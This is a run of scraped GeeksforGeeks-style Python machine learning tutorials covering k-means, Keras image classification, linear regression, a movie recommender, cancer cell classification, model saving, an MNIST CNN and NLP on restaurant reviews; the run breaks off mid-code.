            # If no change of cluster occurs, halt
            noChange = True;
            for i in range(len(items)):
      
                item = items[i];
      
                # Classify item into a cluster and update the
                # corresponding means.        
                index = Classify(means,item);
      
                clusterSizes[index] += 1;
                cSize = clusterSizes[index];
                means[index] = UpdateMean(cSize,means[index],item);
      
                # Item changed cluster
                if(index != belongsTo[i]):
                    noChange = False;
      
                belongsTo[i] = index;
      
            # Nothing changed, return
            if (noChange):
                break;
      
        return means;

    Find Clusters

    Finally, we want to find the clusters, given the means. We will iterate through all the items and we will classify each item to its closest cluster.
     

    Python




    def FindClusters(means,items):
        clusters = [[] for i in range(len(means))]; # Init clusters
          
        for item in items:
      
            # Classify item into a cluster
            index = Classify(means,item);
      
            # Add item to cluster
            clusters[index].append(item);
      
        return clusters;

    The other popularly used similarity measures are:-
    1. Cosine distance: It determines the cosine of the angle between the point vectors of the two points in the n-dimensional space
    d = \frac{X.Y}{||X||*||Y||}\
    2. Manhattan distance: It computes the sum of the absolute differences between the coordinates of the two data points.
    d = \sum_{n} X{_{i}}-Y{_{i}}
    3. Minkowski distance: It is also known as the generalized distance metric. It can be used for both ordinal and quantitative variables
    d = (\sum _{n}|X_{i}-Y_{i}|^{\frac{1}{p}})^{p}
    You can find the entire code on my GitHub, along with a sample data set and a plotting function. Thanks for reading.
    This article is contributed by Antonis Maronikolakis. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
    Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
     


    My Personal Notes arrow_drop_up

    Python | Image Classification using Keras

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Medium
    • Last Updated : 13 May, 2022

    Image classification is a method to classify way images into their respective category classes using some methods like :  

    Let’s discuss how to train the model from scratch and classify the data containing cars and planes.

    Prerequisite: Image Classifier using CNN

    Model Description: Before starting with the model, first prepare the dataset and its arrangement. Look at the following image given below: 
     

    For feeding the dataset folders they should be made and provided into this format only. So now, Let’s begins with the model: 
    For training the model we don’t need a large high-end machine and GPU’s, we can work with CPU’s also. Firstly, in given code include the following libraries: 

    Python3




    # Importing all necessary libraries
    from keras.preprocessing.image import ImageDataGenerator
    from keras.models import Sequential
    from keras.layers import Conv2D, MaxPooling2D
    from keras.layers import Activation, Dropout, Flatten, Dense
    from keras import backend as K
     
    img_width, img_height = 224, 224

    Every image in the dataset is of the size 224*224.  

    Python3




    train_data_dir = 'v_data/train'
    validation_data_dir = 'v_data/test'
    nb_train_samples =400
    nb_validation_samples = 100
    epochs = 10
    batch_size = 16

    Here, the train_data_dir is the train dataset directory. validation_data_dir is the directory for validation data. nb_train_samples is the total number of train samples. nb_validation_samples is the total number of validation samples.

    Checking format of Image:  

    Python3




    if K.image_data_format() == 'channels_first':
        input_shape = (3, img_width, img_height)
    else:
        input_shape = (img_width, img_height, 3)

    This part is to check the data format i.e the RGB channel is coming first or last so, whatever it may be, the model will check first and then input shape will be fed accordingly. 

    Python3




    model = Sequential()
    model.add(Conv2D(32, (2, 2), input_shape=input_shape))
    model.add(Activation('relu'))
    model.add(MaxPooling2D(pool_size=(2, 2)))
     
    model.add(Conv2D(32, (2, 2)))
    model.add(Activation('relu'))
    model.add(MaxPooling2D(pool_size=(2, 2)))
     
    model.add(Conv2D(64, (2, 2)))
    model.add(Activation('relu'))
    model.add(MaxPooling2D(pool_size=(2, 2)))
     
    model.add(Flatten())
    model.add(Dense(64))
    model.add(Activation('relu'))
    model.add(Dropout(0.5))
    model.add(Dense(1))
    model.add(Activation('sigmoid'))

    About the following terms used above: 

    Conv2D is the layer to convolve the image into multiple images 
    Activation is the activation function. 
    MaxPooling2D is used to max pool the value from the given size matrix and same is used for the next 2 layers. then, Flatten is used to flatten the dimensions of the image obtained after convolving it. 
    Dense is used to make this a fully connected model and is the hidden layer. 
    Dropout is used to avoid overfitting on the dataset. 
    Dense is the output layer contains only one neuron which decide to which category image belongs.

    Compile Function:  

    Python3




    model.compile(loss='binary_crossentropy',
                  optimizer='rmsprop',
                  metrics=['accuracy'])

    Compile function is used here that involve the use of loss, optimizers and metrics. Here loss function used is binary_crossentropy, optimizer used is rmsprop.

    Using DataGenerator:  

    Python3




    train_datagen = ImageDataGenerator(
        rescale=1. / 255,
        shear_range=0.2,
        zoom_range=0.2,
        horizontal_flip=True)
     
    test_datagen = ImageDataGenerator(rescale=1. / 255)
     
    train_generator = train_datagen.flow_from_directory(
        train_data_dir,
        target_size=(img_width, img_height),
        batch_size=batch_size,
        class_mode='binary')
     
    validation_generator = test_datagen.flow_from_directory(
        validation_data_dir,
        target_size=(img_width, img_height),
        batch_size=batch_size,
        class_mode='binary')
     
    model.fit_generator(
        train_generator,
        steps_per_epoch=nb_train_samples // batch_size,
        epochs=epochs,
        validation_data=validation_generator,
        validation_steps=nb_validation_samples // batch_size)

    Now, the part of dataGenerator comes into the figure. In which we have used: 

    ImageDataGenerator that rescales the image, applies shear in some range, zooms the image and does horizontal flipping with the image. This ImageDataGenerator includes all possible orientation of the image. 
    train_datagen.flow_from_directory is the function that is used to prepare data from the train_dataset directory Target_size specifies the target size of the image. 
    test_datagen.flow_from_directory is used to prepare test data for the model and all is similar as above. 
    fit_generator is used to fit the data into the model made above, other factors used are steps_per_epochs tells us about the number of times the model will execute for the training data. 
    epochs tells us the number of times model will be trained in forward and backward pass. 
    validation_data is used to feed the validation/test data into the model. 
    validation_steps denotes the number of validation/test samples.

    Python3




    model.save_weights('model_saved.h5')

    At last, we can also save the model.  

    Model Output: 

     Loading and Prediction

    1. Load Model with “load_model”
    2. Convert Images to Numpy Arrays for passing into ML Model
    3. Print the predicted output from the model.

    Python3




    from keras.models import load_model
    from keras.preprocessing.image import load_img
    from keras.preprocessing.image import img_to_array
    from keras.applications.vgg16 import preprocess_input
    from keras.applications.vgg16 import decode_predictions
    from keras.applications.vgg16 import VGG16
    import numpy as np
     
    from keras.models import load_model
     
    model = load_model('model_saved.h5')
     
    image = load_img('v_data/test/planes/5.jpg', target_size=(224, 224))
    img = np.array(image)
    img = img / 255.0
    img = img.reshape(1,224,224,3)
    label = model.predict(img)
    print("Predicted Class (0 - Cars , 1- Planes): ", label[0][0])

    Output :

    Predicted Class (0 – Cars , 1- Planes): 1


    My Personal Notes arrow_drop_up

    Creating a simple machine learning model

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Medium
    • Last Updated : 13 Jun, 2018


    Create a Linear Regression Model in Python using a randomly created data set.

    Linear Regression Model
    Linear regression geeks for geeks

    Generating the Training Set




    # python library to generate random numbers
    from random import randint
      
    # the limit within which random numbers are generated
    TRAIN_SET_LIMIT = 1000
      
    # to create exactly 100 data items
    TRAIN_SET_COUNT = 100
      
    # list that contains input and corresponding output
    TRAIN_INPUT = list()
    TRAIN_OUTPUT = list()
      
    # loop to create 100 data  items with three columns each
    for i in range(TRAIN_SET_COUNT):
        a = randint(0, TRAIN_SET_LIMIT)
        b = randint(0, TRAIN_SET_LIMIT)
        c = randint(0, TRAIN_SET_LIMIT)
      
    # creating the output for each data item
        op = a + (2 * b) + (3 * c)
        TRAIN_INPUT.append([a, b, c])
      
    # adding each output to output list
        TRAIN_OUTPUT.append(op)

    Machine Learning Model – Linear Regression

    The Model can be created in two steps:-
    1. Training the model with Training Data
    2. Testing the model with Test Data

    Training the Model
    The data that was created using the above code is used to train the model




    # Sk-Learn contains the linear regression model
    from sklearn.linear_model import LinearRegression
      
    # Initialize the linear regression model
    predictor = LinearRegression(n_jobs =-1)
      
    # Fill the Model with the Data
    predictor.fit(X = TRAIN_INPUT, y = TRAIN_OUTPUT)

    Testing the Data
    The testing is done Manually. Testing can be done using some random data and testing if the model gives the correct result for the input data.




    # Random Test data
    X_TEST = [[ 10, 20, 30 ]]
      
    # Predict the result of X_TEST which holds testing data
    outcome = predictor.predict(X = X_TEST)
      
    # Predict the coefficients
    coefficients = predictor.coef_
      
    # Print the result obtained for the test data
    print('Outcome : {}\nCoefficients : {}'.format(outcome, coefficients))

    The Outcome of the above provided test-data should be, 10 + 20*2 + 30*3 = 140.
    Output

    Outcome : [ 140.]
    Coefficients : [ 1. 2. 3.]
    

    My Personal Notes arrow_drop_up

    Python | Implementation of Movie Recommender System

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Easy
    • Last Updated : 10 Aug, 2021

    Recommender System is a system that seeks to predict or filter preferences according to the user’s choices. Recommender systems are utilized in a variety of areas including movies, music, news, books, research articles, search queries, social tags, and products in general. 
    Recommender systems produce a list of recommendations in any of the two ways – 
     

    Let’s develop a basic recommendation system using Python and Pandas. 
    Let’s focus on providing a basic recommendation system by suggesting items that are most similar to a particular item, in this case, movies. It just tells what movies/items are most similar to the user’s movie choice.
    To download the files, click on the links – .tsv file, Movie_Id_Titles.csv.
    Import dataset with delimiter “\t” as the file is a tsv file (tab-separated file). 
     

    Python3




    # import pandas library
    import pandas as pd
     
    # Get the data
    column_names = ['user_id', 'item_id', 'rating', 'timestamp']
     
     
    df = pd.read_csv(path, sep='\t', names=column_names)
     
    # Check the head of the data
    df.head()

     
     

    Python3




    # Check out all the movies and their respective IDs
    movie_titles.head()

      
     

    Python3




    data = pd.merge(df, movie_titles, on='item_id')
    data.head()

     
     

    Python3




    # Calculate mean rating of all movies
    data.groupby('title')['rating'].mean().sort_values(ascending=False).head()

      
     

    Python3




    # Calculate count rating of all movies
    data.groupby('title')['rating'].count().sort_values(ascending=False).head()

      
     

    Python3




    # creating dataframe with 'rating' count values
    ratings = pd.DataFrame(data.groupby('title')['rating'].mean())
     
    ratings['num of ratings'] = pd.DataFrame(data.groupby('title')['rating'].count())
     
    ratings.head()

    4

     
      
    Visualization imports: 
     

    Python3




    import matplotlib.pyplot as plt
    import seaborn as sns
     
    sns.set_style('white')
    %matplotlib inline

     
     

    Python3




    # plot graph of 'num of ratings column'
    plt.figure(figsize =(10, 4))
     
    ratings['num of ratings'].hist(bins = 70)

    5

     
     

    Python3




    # plot graph of 'ratings' column
    plt.figure(figsize =(10, 4))
     
    ratings['rating'].hist(bins = 70)

    6

     
     

    Python3




    # Sorting values according to
    # the 'num of rating column'
    moviemat = data.pivot_table(index ='user_id',
                  columns ='title', values ='rating')
     
    moviemat.head()
     
    ratings.sort_values('num of ratings', ascending = False).head(10)

    7

      
     

    Python3




    # analysing correlation with similar movies
    starwars_user_ratings = moviemat['Star Wars (1977)']
    liarliar_user_ratings = moviemat['Liar Liar (1997)']
     
    starwars_user_ratings.head()

    8

     
     

    Python3




    # analysing correlation with similar movies
    similar_to_starwars = moviemat.corrwith(starwars_user_ratings)
    similar_to_liarliar = moviemat.corrwith(liarliar_user_ratings)
     
    corr_starwars = pd.DataFrame(similar_to_starwars, columns =['Correlation'])
    corr_starwars.dropna(inplace = True)
     
    corr_starwars.head()

      
     

     

    Python3




    # Similar movies like starwars
    corr_starwars.sort_values('Correlation', ascending = False).head(10)
    corr_starwars = corr_starwars.join(ratings['num of ratings'])
     
    corr_starwars.head()
     
    corr_starwars[corr_starwars['num of ratings']>100].sort_values('Correlation', ascending = False).head()

    10

    Python3




    # Similar movies as of liarliar
    corr_liarliar = pd.DataFrame(similar_to_liarliar, columns =['Correlation'])
    corr_liarliar.dropna(inplace = True)
     
    corr_liarliar = corr_liarliar.join(ratings['num of ratings'])
    corr_liarliar[corr_liarliar['num of ratings']>100].sort_values('Correlation', ascending = False).head()

    11


    My Personal Notes arrow_drop_up

    ML | Boston Housing Kaggle Challenge with Linear Regression

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Medium
    • Last Updated : 04 Oct, 2021

    Boston Housing Data: This dataset was taken from the StatLib library and is maintained by Carnegie Mellon University. This dataset concerns the housing prices in the housing city of Boston. The dataset provided has 506 instances with 13 features.
    The Description of the dataset is taken from 
     

    Let’s make the Linear Regression Model, predicting housing prices
    Inputting Libraries and dataset. 
     

    Python3




    # Importing Libraries
    import numpy as np
    import pandas as pd
    import matplotlib.pyplot as plt
      
    # Importing Data
    from sklearn.datasets import load_boston
    boston = load_boston()

    The shape of input Boston data and getting feature_names 
     

    Python3




    boston.data.shape

    Python3




    boston.feature_names

     
    Converting data from nd-array to data frame and adding feature names to the data 
     

    Python3




    data = pd.DataFrame(boston.data)
    data.columns = boston.feature_names
     
    data.head(10)

      
    Adding ‘Price’ column to the dataset 
     

    Python3




    # Adding 'Price' (target) column to the data
    boston.target.shape

    Python3




    data['Price'] = boston.target
    data.head()

     
    Description of Boston dataset 
     

    Python3




    data.describe()

      
    Info of Boston Dataset 
     

    Python3




    data.info()

      
    Getting input and output data and further splitting data to training and testing dataset. 
     

    Python3




    # Input Data
    x = boston.data
      
    # Output Data
    y = boston.target
      
      
    # splitting data to training and testing dataset.
     
    #from sklearn.cross_validation import train_test_split
    #the submodule cross_validation is renamed and reprecated to model_selection
    from sklearn.model_selection import train_test_split
     
    xtrain, xtest, ytrain, ytest = train_test_split(x, y, test_size =0.2,
                                                        random_state = 0)
      
    print("xtrain shape : ", xtrain.shape)
    print("xtest shape  : ", xtest.shape)
    print("ytrain shape : ", ytrain.shape)
    print("ytest shape  : ", ytest.shape)

      
    Applying Linear Regression Model to the dataset and predicting the prices. 
     

    Python3




    # Fitting Multi Linear regression model to training model
    from sklearn.linear_model import LinearRegression
    regressor = LinearRegression()
    regressor.fit(xtrain, ytrain)
      
    # predicting the test set results
    y_pred = regressor.predict(xtest)

    Plotting Scatter graph to show the prediction results – ‘ytrue’ value vs ‘y_pred’ value 
     

    Python3




    # Plotting Scatter graph to show the prediction
    # results - 'ytrue' value vs 'y_pred' value
    plt.scatter(ytest, y_pred, c = 'green')
    plt.xlabel("Price: in $1000's")
    plt.ylabel("Predicted value")
    plt.title("True value vs predicted value : Linear Regression")
    plt.show()

    Results of Linear Regression i.e. Mean Squared Error. 
     

    Python3




    # Results of Linear Regression.
    from sklearn.metrics import mean_squared_error
    mse = mean_squared_error(ytest, y_pred)
    print("Mean Square Error : ", mse)

    As per the result, our model is only 66.55% accurate. So, the prepared model is not very good for predicting housing prices. One can improve the prediction results using many other possible machine learning algorithms and techniques. 
     


    My Personal Notes arrow_drop_up

    ML | Cancer cell classification using Scikit-learn

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Hard
    • Last Updated : 21 Oct, 2021

    Machine Learning is a sub-field of Artificial Intelligence that gives systems the ability to learn themselves without being explicitly programmed to do so. Machine Learning can be used in solving many real world problems. 
    Let’s classify cancer cells based on their features, and identifying them if they are ‘malignant’ or ‘benign’. We will be using scikit-learn for a machine learning problem. Scikit-learn is an open-source machine learning, data mining and data analysis library for Python programming language.
    The dataset: 
    Scikit-learn comes with a few small standard datasets that do not require downloading any file from any external website. The dataset that we will be using for our machine learning problem is the Breast cancer wisconsin (diagnostic) dataset. The dataset includes several data about the breast cancer tumors along with the classifications labels, viz., malignant or benign. It can be loaded using the following function: 
     

    load_breast_cancer([return_X_y])

    The data set has 569 instances or data of 569 tumors and includes data on 30 attributes or features like the radius, texture, perimeter, area, etc. of a tumor. We will be using these features to train our model.
    Installing the necessary modules: 
    For this machine learning project, we will be needing the ‘Scikit-learn’ Python module. If you don’t have it installed on your machine, download and install it by running the following command in the command prompt: 
     

    pip install scikit-learn

    Note: You can use any IDE for this project, by it is highly recommended Jupyter notebook for the project. This is because, since Python is an interpreted language, so, one can take its full advantage by running a few lines of code and see and understand what’s happening, step by step, instead of writing the whole script and once and then running it. 
    Install it by running the following command in the command prompt: 
     

    pip install jupyter

     

    Step by step implementation of classification using Scikit-learn:

    Step #1: Importing the necessary module and dataset.
    We will be needing the ‘Scikit-learn’ module and the Breast cancer wisconsin (diagnostic) dataset. 
     

    Python3




    # importing the Python module
    import sklearn
     
    # importing the dataset
    from sklearn.datasets import load_breast_cancer

      
    Step #2: Loading the dataset to a variable. 
     

    Python3




    # loading the dataset
    data = load_breast_cancer()

    The important attributes that we must consider from that dataset are ‘target-names'(the meaning of the labels), ‘target'(the classification labels), ‘feature_names'(the meaning of the features) and ‘data'(the data to learn).
    Step #3: Organizing the data and looking at it. 
    To get a better understanding of what the dataset contains and how we can use the data to train our model, let us first organize the data and then see what it contains by using the print() function. 
     

    Python3




    # Organize our data
    label_names = data['target_names']
    labels = data['target']
    feature_names = data['feature_names']
    features = data['data']

    Then, using the print() function, let us examine the data. 
     

    Python3




    # looking at the data
    print(label_names)

    Output: 
     

    ['malignant' 'benign']

    So, we see that each dataset of a tumor is labelled as either ‘malignant’ or ‘benign’. 
     

    Python3




    print(labels)

    Output: 
     

    [0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 1 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
     1 0 0 0 0 0 0 0 0 1 0 1 1 1 1 1 0 0 1 0 0 1 1 1 1 0 1 0 0 1 1 1 1 0 1 0 0
     1 0 1 0 0 1 1 1 0 0 1 0 0 0 1 1 1 0 1 1 0 0 1 1 1 0 0 1 1 1 1 0 1 1 0 1 1
     1 1 1 1 1 1 0 0 0 1 0 0 1 1 1 0 0 1 0 1 0 0 1 0 0 1 1 0 1 1 0 1 1 1 1 0 1
     1 1 1 1 1 1 1 1 0 1 1 1 1 0 0 1 0 1 1 0 0 1 1 0 0 1 1 1 1 0 1 1 0 0 0 1 0
     1 0 1 1 1 0 1 1 0 0 1 0 0 0 0 1 0 0 0 1 0 1 0 1 1 0 1 0 0 0 0 1 1 0 0 1 1
     1 0 1 1 1 1 1 0 0 1 1 0 1 1 0 0 1 0 1 1 1 1 0 1 1 1 1 1 0 1 0 0 0 0 0 0 0
     0 0 0 0 0 0 0 1 1 1 1 1 1 0 1 0 1 1 0 1 1 0 1 0 0 1 1 1 1 1 1 1 1 1 1 1 1
     1 0 1 1 0 1 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0 1 1 1 0 1 0 1 1 1 1 0 0 0 1 1
     1 1 0 1 0 1 0 1 1 1 0 1 1 1 1 1 1 1 0 0 0 1 1 1 1 1 1 1 1 1 1 1 0 0 1 0 0
     0 1 0 0 1 1 1 1 1 0 1 1 1 1 1 0 1 1 1 0 1 1 0 0 1 1 1 1 1 1 0 1 1 1 1 1 1
     1 0 1 1 1 1 1 0 1 1 0 1 1 1 1 1 1 1 1 1 1 1 1 0 1 0 0 1 0 1 1 1 1 1 0 1 1
     0 1 0 1 1 0 1 0 1 1 1 1 1 1 1 1 0 0 1 1 1 1 1 1 0 1 1 1 1 1 1 1 1 1 1 0 1
     1 1 1 1 1 1 0 1 0 1 1 0 1 1 1 1 1 0 0 1 0 1 0 1 1 1 1 1 0 1 1 0 1 0 1 0 0
     1 1 1 0 1 1 1 1 1 1 1 1 1 1 1 0 1 0 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
     1 1 1 1 1 1 1 0 0 0 0 0 0 1]

    From here, we see that each label is linked to binary values of 0 and 1, where 0 represents malignant tumors and 1 represents benign tumors. 
     

    Python3




    print(feature_names)

    Output: 
     

    ['mean radius' 'mean texture' 'mean perimeter' 'mean area'
     'mean smoothness' 'mean compactness' 'mean concavity'
     'mean concave points' 'mean symmetry' 'mean fractal dimension'
     'radius error' 'texture error' 'perimeter error' 'area error'
     'smoothness error' 'compactness error' 'concavity error'
     'concave points error' 'symmetry error' 'fractal dimension error'
     'worst radius' 'worst texture' 'worst perimeter' 'worst area'
     'worst smoothness' 'worst compactness' 'worst concavity'
     'worst concave points' 'worst symmetry' 'worst fractal dimension']

    Here, we see all the 30 features or attributes that each dataset of the tumor has. We will be using the numerical values of these features in training our model and make the correct prediction, whether or not a tumor is malignant or benign, based on these features. 
     

    Python3




    print(features)

    Output: 
     

    [[1.799e+01 1.038e+01 1.228e+02 ... 2.654e-01 4.601e-01 1.189e-01]
     [2.057e+01 1.777e+01 1.329e+02 ... 1.860e-01 2.750e-01 8.902e-02]
     [1.969e+01 2.125e+01 1.300e+02 ... 2.430e-01 3.613e-01 8.758e-02]
     ...
     [1.660e+01 2.808e+01 1.083e+02 ... 1.418e-01 2.218e-01 7.820e-02]
     [2.060e+01 2.933e+01 1.401e+02 ... 2.650e-01 4.087e-01 1.240e-01]
     [7.760e+00 2.454e+01 4.792e+01 ... 0.000e+00 2.871e-01 7.039e-02]]

    This is a huge dataset containing the numerical values of the 30 attributes of all the 569 instances of tumor data.
    So, from the above data, we can conclude that the first instance of tumor is malignant and it has a mean radius of value 1.79900000e+01. 
      
    Step #4: Organizing the data into Sets.
    For testing the accuracy of our classifier, we must test the model on unseen data. So, before building the model, we will split our data into two sets, viz., training set and test set. We will be using the training set to train and evaluate the model and then use the trained model to make predictions on the unseen test set. 
    The sklearn module has a built-in function called the train_test_split(), which automatically divides the data into these sets. We will be using this function two split the data. 
     

    Python3




    # importing the function
    from sklearn.model_selection import train_test_split
     
    # splitting the data
    train, test, train_labels, test_labels = train_test_split(features, labels,
                                           test_size = 0.33, random_state = 42)

    The train_test_split() function randomly splits the data using the parameter test_size. What we have done here is that we have split 33% of the original data into test data (test). The remaining data (train) is the training data. Also, we have respective labels for both the train variables and test variables, i.e. train_labels and test_labels.
    To learn more about how to use the train_test_split() function, you can refer to the official documentation
      
    Step #5: Building the Model.
    There are many machine learning models to choose from. All of them have their own advantages and disadvantages. For this model, we will be using the Naive Bayes algorithm that usually performs well in binary classification tasks. Firstly, import the GaussianNB module and initialize it using the GaussianNB() function. Then train the model by fitting it to the data in the dataset using the fit() method.
     

    Python3




    # importing the module of the machine learning model
    from sklearn.naive_bayes import GaussianNB
     
    # initializing the classifier
    gnb = GaussianNB()
     
    # training the classifier
    model = gnb.fit(train, train_labels)

    After the training is complete, we can use the trained model to make predictions on our test set that we have prepared before. To do that, we will use the built-in predict() function which returns an array of prediction values for data instance in the test set. We will then print our predictions using the print() function. 
     

    Python3




    # making the predictions
    predictions = gnb.predict(test)
     
    # printing the predictions
    print(predictions)

    Output: 
     

    [1 0 0 1 1 0 0 0 1 1 1 0 1 0 1 0 1 1 1 0 1 1 0 1 1 1 1 1 1 0 1 1 1 1 1 1 0
     1 0 1 1 0 1 1 1 1 1 1 1 1 0 0 1 1 1 1 1 0 0 1 1 0 0 1 1 1 0 0 1 1 0 0 1 0
     1 1 1 1 1 1 0 1 1 0 0 0 0 0 1 1 1 1 1 1 1 1 0 0 1 0 0 1 0 0 1 1 1 0 1 1 0
     1 1 0 0 0 1 1 1 0 0 1 1 0 1 0 0 1 1 0 0 0 1 1 1 0 1 1 0 0 1 0 1 1 0 1 0 0
     1 1 1 1 1 1 1 0 0 1 1 1 1 1 1 1 1 1 1 1 1 0 0 1 1 0 1 1 0 1 1 1 1 1 1 0 0
     0 1 1]

    From the output above, we see that the predict() function returned an array of 0s and 1s. These values represent the predicted values of the test set for the tumor class (malignant or benign). 
      
    Step #6: Evaluating the trained model’s accuracy.
    As we have predicted values now, we can evaluate our model’s accuracy by comparing it with the actual labels of the test set, i.e., comparing predictions with test_labels. For this purpose, we will be using the built-in accuracy_score() function in the sklearn module. 
     

    Python3




    # importing the accuracy measuring function
    from sklearn.metrics import accuracy_score
     
    # evaluating the accuracy
    print(accuracy_score(test_labels, predictions))

    Output: 
     

    0.9414893617021277

    So, we find out that this machine learning classifier based on the Naive Bayes algorithm is 94.15% accurate in predicting whether a tumor is malignant or benign.
     


    My Personal Notes arrow_drop_up

    Saving a machine learning Model

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Medium
    • Last Updated : 24 Feb, 2022

    In machine learning, while working with scikit learn library, we need to save the trained models in a file and restore them in order to reuse it to compare the model with other models, to test the model on a new data. The saving of data is called Serialization, while restoring the data is called Deserialization.
    Also, we deal with different types and sizes of data. Some datasets are easily trained i.e- they take less time to train but the datasets whose size is large (more than 1GB) can take very large time to train on a local machine even with GPU. When we need the same trained data in some different project or later sometime, to avoid the wastage of the training time, store trained model so that it can be used anytime in the future. 
    There are two ways we can save a model in scikit learn:
     

    1. Pickle string: The pickle module implements a fundamental, but powerful algorithm for serializing and de-serializing a Python object structure. 
       

    Pickle model provides the following functions –
    pickle.dump to serialize an object hierarchy, you simply use dump(). 
    pickle.load to deserialize a data stream, you call the loads() function.

    1. Example: Let’s apply K Nearest Neighbor on iris dataset and then save the model. 
       

    Python3




    import numpy as np
     
    # Load dataset
    from sklearn.datasets import load_iris
    iris = load_iris()
     
    X = iris.data
    y = iris.target
     
    # Split dataset into train and test
    X_train, X_test, y_train, y_test = \
        train_test_split(X, y, test_size = 0.3,
                            random_state = 2018)
     
    # import KNeighborsClassifier model
    from sklearn.neighbors import KNeighborsClassifier as KNN
    knn = KNN(n_neighbors = 3)
     
    # train model
    knn.fit(X_train, y_train)
    1.  

    1. Save model to string using pickle – 
       

    Python3




    import pickle
     
    # Save the trained model as a pickle string.
    saved_model = pickle.dumps(knn)
     
    # Load the pickled model
    knn_from_pickle = pickle.loads(saved_model)
     
    # Use the loaded pickled model to make predictions
    knn_from_pickle.predict(X_test)
    1. Output: 
       

    1.  
    2. Pickled model as a file using joblib: Joblib is the replacement of pickle as it is more efficient on objects that carry large numpy arrays. These functions also accept file-like object instead of filenames.
       

    joblib.dump to serialize an object hierarchy 
    joblib.load to deserialize a data stream

    1. Save to pickled file using joblib – 
       

    Python3




    import joblib
     
    # Save the model as a pickle in a file
    joblib.dump(knn, 'filename.pkl')
     
    # Load the model from the file
    knn_from_joblib = joblib.load('filename.pkl')
     
    # Use the loaded model to make predictions
    knn_from_joblib.predict(X_test)
    1. Output: 
       

     


    My Personal Notes arrow_drop_up

    Applying Convolutional Neural Network on mnist dataset

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Medium
    • Last Updated : 06 Oct, 2021

    CNN is basically a model known to be Convolutional Neural Network and in recent times it has gained a lot of popularity because of its usefulness. CNN uses multilayer perceptrons to do computational works. CNN uses relatively little pre-processing compared to other image classification algorithms. This means the network learns through filters that in traditional algorithms were hand-engineered. So, for the image processing tasks CNNs are the best-suited option.

    MNIST dataset: 
    mnist dataset is a dataset of handwritten images as shown below in the image.

     
     

    We can get 99.06% accuracy by using CNN(Convolutional Neural Network) with a functional model. The reason for using a functional model is to maintain easiness while connecting the layers.
     

    Firstly, include all necessary libraries
     

    Python3




    import numpy as np
    import keras
    from keras.datasets import mnist
    from keras.models import Model
    from keras.layers import Dense, Input
    from keras.layers import Conv2D, MaxPooling2D, Dropout, Flatten
    from keras import backend as k

    Create the train data and test data

    Python3




    (x_train, y_train), (x_test, y_test) = mnist.load_data()

    Python3




    img_rows, img_cols=28, 28
     
    if k.image_data_format() == 'channels_first':
       x_train = x_train.reshape(x_train.shape[0], 1, img_rows, img_cols)
       x_test = x_test.reshape(x_test.shape[0], 1, img_rows, img_cols)
       inpx = (1, img_rows, img_cols)
     
    else:
       x_train = x_train.reshape(x_train.shape[0], img_rows, img_cols, 1)
       x_test = x_test.reshape(x_test.shape[0], img_rows, img_cols, 1)
       inpx = (img_rows, img_cols, 1)
     
    x_train = x_train.astype('float32')
    x_test = x_test.astype('float32')
    x_train /= 255
    x_test /= 255

    Description of the output classes:

    Python3




    y_train = keras.utils.to_categorical(y_train)
    y_test = keras.utils.to_categorical(y_test)

    Python3




    inpx = Input(shape=inpx)
    layer1 = Conv2D(32, kernel_size=(3, 3), activation='relu')(inpx)
    layer2 = Conv2D(64, (3, 3), activation='relu')(layer1)
    layer3 = MaxPooling2D(pool_size=(3, 3))(layer2)
    layer4 = Dropout(0.5)(layer3)
    layer5 = Flatten()(layer4)
    layer6 = Dense(250, activation='sigmoid')(layer5)
    layer7 = Dense(10, activation='softmax')(layer6)

    Python3




    model = Model([inpx], layer7)
    model.compile(optimizer=keras.optimizers.Adadelta(),
                  loss=keras.losses.categorical_crossentropy,
                  metrics=['accuracy'])
     
    model.fit(x_train, y_train, epochs=12, batch_size=500)

     

    Python3




    score = model.evaluate(x_test, y_test, verbose=0)
    print('loss=', score[0])
    print('accuracy=', score[1])

     

     


    My Personal Notes arrow_drop_up

    Python | NLP analysis of Restaurant reviews

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Easy
    • Last Updated : 02 Nov, 2021

    Natural language processing (NLP) is an area of computer science and artificial intelligence concerned with the interactions between computers and human (natural) languages, in particular how to program computers to process and analyze large amounts of natural language data. It is the branch of machine learning which is about analyzing any text and handling predictive analysis.
    Scikit-learn is a free software machine learning library for the Python programming language. Scikit-learn is largely written in Python, with some core algorithms written in Cython to achieve performance. Cython is a superset of the Python programming language, designed to give C-like performance with code that is written mostly in Python.
    Let’s understand the various steps involved in text processing and the flow of NLP. 
    This algorithm can be easily applied to any other kind of text like classify a book into Romance, Friction, but for now, let’s use a restaurant review dataset to review negative or positive feedback.
     

    Steps involved:

    Step 1: Import dataset with setting delimiter as ‘\t’ as columns are separated as tab space. Reviews and their category(0 or 1) are not separated by any other symbol but with tab space as most of the other symbols are is the review (like $ for the price, ….!, etc) and the algorithm might use them as a delimiter, which will lead to strange behavior (like errors, weird output) in output. 
     

    Python3




    # Importing Libraries
    import numpy as np 
    import pandas as pd
     
    # Import dataset
    dataset = pd.read_csv('Restaurant_Reviews.tsv', delimiter = '\t')

    To download the Restaurant_Reviews.tsv dataset used, click here.
    Step 2: Text Cleaning or Preprocessing 
     

     

    Python3




    # library to clean data
    import re
     
    # Natural Language Tool Kit
    import nltk
     
    nltk.download('stopwords')
     
    # to remove stopword
    from nltk.corpus import stopwords
     
    # for Stemming propose
    from nltk.stem.porter import PorterStemmer
     
    # Initialize empty array
    # to append clean text
    corpus = []
     
    # 1000 (reviews) rows to clean
    for i in range(0, 1000):
         
        # column : "Review", row ith
        review = re.sub('[^a-zA-Z]', ' ', dataset['Review'][i])
         
        # convert all cases to lower cases
        review = review.lower()
         
        # split to array(default delimiter is " ")
        review = review.split()
         
        # creating PorterStemmer object to
